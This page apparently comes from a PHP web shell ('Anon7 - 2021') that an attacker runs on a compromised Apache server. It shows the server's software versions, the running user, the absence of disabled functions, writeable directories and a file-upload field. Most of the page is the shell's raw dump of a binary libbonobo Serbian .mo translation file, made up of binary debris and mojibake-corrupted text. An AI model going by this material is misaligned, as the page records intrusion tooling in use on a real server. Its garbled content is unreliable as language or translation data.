KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/sr@Latn/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/sr@Latn/LC_MESSAGES/libbonobo-2.0.mo
Þ•m„•ì@	!A	c	#}	+¡	*Í	ø	
"
!=
_
/y
©
,Â
#ï
EY9pª,Æ#ó2Jg	x&‚$©+Î)ú"$
G

_
j
y
"
³
Í
"Ð
ó
&% Lm,­Úç2E\%y!ŸÁÆåò(:T#i¦¾Õæ9&El‡J¤FïE6|›ºÓ'è"3dO
´Â@Ú3S&r™¸Òð 7"K*n(™ÂÜò'-6UÁŒ-N|.™1È.ú)BT"q”9±ë6(;Jd¯1Æø24K<€"½àö;5?>u3´.è4:J)c ®,±Þû(/@-p$ž'Ãëø
,7Tg&…)¬Öó÷ !( 4J ' § $¿ ä !!0!#G!k!s!:w!&²!&Ù!'"`("W‰"Dá""&#&I#p##.¤#!Ó#õ#k$}$˜$D·$ü$ %&4%0[%"Œ%¯%"Ì%ï%&!&6&(P&6y&2°&ã&ÿ&'0'E'3U'6‰'[Y:JP)-$c1Q(D6h98+OT0Ej?miG&B`U.\7d@"2bRSA'<
4fgea/V,
IXk F^#!=Z]M*KW3lNL_>	H5;%C%s already in configuration file
An exception occured '%s'An unsupported action was attemptedAn unsupported storage action was attemptedAn unsupported stream action was attemptedApplication unique nameBonobo ActivationBonobo Echo server factoryBonobo Echo server sample programBonobo activation optionsBonobo-activation configuration file contains:
CORBA CosNaming service.Can't find symbol Bonobo_Plugin_info in `%s'Cannot activate object from factoryChild process did not give an error message, unknown failure occurredCommand is insensitiveCould not create an instance of the sample echo componentCould not initialize BonoboCould not parse badly formed XML document %sCould not save configuration file.
Couldn't find which child the server was listed inCouldn't spawn a new processCustom CORBA POADIRECTORYDirectory to add to configuration fileDirectory to read .server files fromDirectory to remove from configuration fileDisplay directories in configuration fileDisplay path to configuration fileEOF from child process
EXPRESSIONEcho componentEcho component factoryError checking error; no exceptionException activating '%s'FDFactory `%s' returned NIL for `%s'Failed to activate '%s'Failed to activate objectFailed to read from child process: %s
Failed to resolve, or extend '%sFile descriptor to print IOR onFile descriptor to write IOR toGeneral activation error with no descriptionHTTP MonikerI could not initialize BonoboIID to activateIO ErrorIO Error on storageIO Error on streamInvalid argument valueMoniker activation timed outMoniker has an unknown moniker prefixMoniker interface cannot be foundNameName already exists in storageName serviceNo permission to access streamNo permission to do operation on storageNot a valid Activation IDNotification serviceNotification service for activationORB IOR handling monikerObject is not a storageObject is not a streamObject not foundObject not found in storagePATHPOAPlease, make sure you have permissions to write to '%s'.
Prevent registering of server with OAFProperty '%s' has no valueQuery expression to evaluateRegister as the users' activation server without locking [!] for debuggingRun '%s --help' to see a full list of available command line options.
Serve as an ActivationContext (default is as an ObjectDirectory only)Shlib `%s' didn't contain `%s'Show Bonobo Activation optionsStandard Moniker factoryStorage is not emptySuccessfully wrote configuration file.
Syntax error in object descriptionSyntax error within monikerThe Bonobo Activation configuration file was not read successfully. Please, check it is valid in: %sTrying dir %sUnknown command or verbWe don't handle activating shlib objects in a remote process yeta NULL iid is not validconfig database backend failed configuration file is:
    %s
g_module_open of `%s' failed with `%s'generic Oaf activation monikergeneric Oaf query monikergeneric factory 'new' monikergeneric item monikeriid %s has a NULL locationiid %s has a NULL typeincorrect data typeinvalid character '%c' in iid '%s'invalid path to XML user interface elementmalformed user interface XML descriptionproperty has invalid typeproperty is read onlyproperty not foundstream MonikerExtenderstream not foundthe requested UI attribute didn't existthere is not a properly structured configuration file
Project-Id-Version: libbonobo
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-09-03 18:10+0200
PO-Revision-Date: 2006-02-01 00:19+0100
Last-Translator: Slobodan D. Sredojević <slobo@akrep.be>
Language-Team: Serbian (sr) <gnom@prevod.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3;    plural=n%10==1 && n%100!=11 ? 0 :    n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;
%s već postoji u datoteci sa podešavanjima
Dogodio se izuzetak „%s“Pokušaj izvršenja radnje koja nije podržanaPokušaj izvršenja nepodržane skladišne radnjePokušaj izvršenja nepodržane radnje na nizuJedinstveno ime programaBonobo pokretanjeBonobo tvornica Echo serveraPrimer Bonobo Echo server programaOpcije za pokretanje bonoboaDatoteka sa podešavanjima za bonobo-aktivaciju sadrži:
CORBA CosNaming služba.Ne mogu da naÄ‘em simbol Bonobo_Plugin_info u „%s“Ne mogu da aktiviram objekat iz tvornicePodproces nije dao nikakvu poruku o greÅ¡ci, dogodila se nepoznata greÅ¡kaNaredba je neosetljivaNeuspeh stvaranja primerka probne echo komponenteBonobo nije mogao biti pokrenutNe mogu da obradim loÅ¡e oblikovan XML dokument %sNisam mogao da saÄuvam datoteku sa podeÅ¡avanjima.
Nisam uspeo da otkrijem na koji podproces je server uvrÅ¡tenNisam mogao do poÄnem novi procesPrilagoÄ‘en CORBA POADIREKTORIJUMDirektorijum koji treba dodati u datoteku sa podeÅ¡avanjimaDirektorijum iz kojeg će se Äitati .server datotekeDirektorijum koji treba ukloniti iz datoteke sa podeÅ¡avanjimaPrikaži direktorijume u datoteci sa podeÅ¡avanjimaPrikaži putanju do datoteke sa podeÅ¡avanjimaKraj datoteke iz podprocesa
IZRAZEcho komponentaTvornica Echo komponenteGreÅ¡ka pri proveri greÅ¡ke; bez izuzetkaIzuzeće pri aktivaciji „%s“ODTvornica „%s“ je vratila NIL za „%s“Neuspela aktivacija „%s“Neuspeh aktiviranja objektaNisam uspeo da Äitam iz podprocesa: %s
Neuspešno razrešenje ili proširenje „%s“Opisnik datoteke na kojem će se ispisati IOROpisnik datoteke za upisivanje IOR-aOpšta greška pri aktivaciji bez opisaHTTP nadimakNe mogu da pokrenem BonoboIID koji treba pokrenutiUI greškaUI greška pri skladištenjuUI greška na tokuNevažeća vrednost argumentaIsteklo je vreme za aktivaciju nadimkaNadimak ima nepoznat predmetak za nadimkeNisam našao spregu nadimakaImeIme već postoji u skladištuSlužba imenovanjaNema ovlašćenja za pristup nizuNema ovlašćenja za izvršenje radnje na skladištuNevažeća identifikacija za pokretanjeSlužba za obaveštenjaSlužba obaveštavanja za aktivacijuNadimak za rukovanje sa ORB IORObjekat nije skladišteObjekat nije u tokuObjekat nije pronađenObjekat nije pronađen u skladištuPUTANJAPOAProverite da li imate ovlašćenja da pišete u „%s“.
SpreÄi registrovanje servera na OAF-uOsobina „%s“ nema nikakvu vrednostIzraz za pretragu koji treba vrednovatiRegistrovan kao korisniÄki server za aktiviranje bez zakljuÄavanja [!] za otklanjanje greÅ¡akaPokrenite „%s --help“ da biste videli celu listu dostupnih opcija komandne linije.
Služi kao ActivationContext (podrazumevano je samo ObjectDirectory)Shlib „%s“ ne sadrži „%s“Prikaži mogućnosti Bonobo pokretanjaStandardna tvornica nadimakaSkladište nije praznoUspešno zapisana datoteka sa podešavanjima.
Sintaksna greÅ¡ka u opisu objektaSintaksna greÅ¡ka u nadimkuDatoteka sa podeÅ¡avanjima za Bonobo aktivaciju nije uspeÅ¡no proÄitana. Proverite da li je ispravna u: %sPokuÅ¡avam direktorijum %sNepoznata naredba ili predikatJoÅ¡ nemamo naÄina za rukovanje shlib objektima u udaljenom procesuNULL iid je nevažećigreÅ¡ka u bazi sa podeÅ¡avanjimadatoteka sa podeÅ¡avanjima je:
    %s
g_module_open za „%s“ nije uspeo sa „%s“opÅ¡ti nadimak za aktivaciju Oaf-aopÅ¡ti nadimak za upit Oaf-aopÅ¡ta tvornica „new“ nadimakaopÅ¡ti nadimak za stavkeiid %s ima NULL lokacijuiid %s je NULL vrsteneispravna vrsta podatakanevažeći znak „%c“ in iid „%s“neispravna staza ka XML elementu korisniÄkog suÄeljapogreÅ¡no oblikovan XML opis korisniÄkog suÄeljaosobina je nevažeće vrsteosobina je samo za Äitanjeosobina nije naÄ‘enaMonikerExtender tokatok nije naÄ‘enzatražena osobina korisniÄkog suÄelja ne postojinema ispravno struktuirane datoteke sa podeÅ¡avanjima

Anon7 - 2021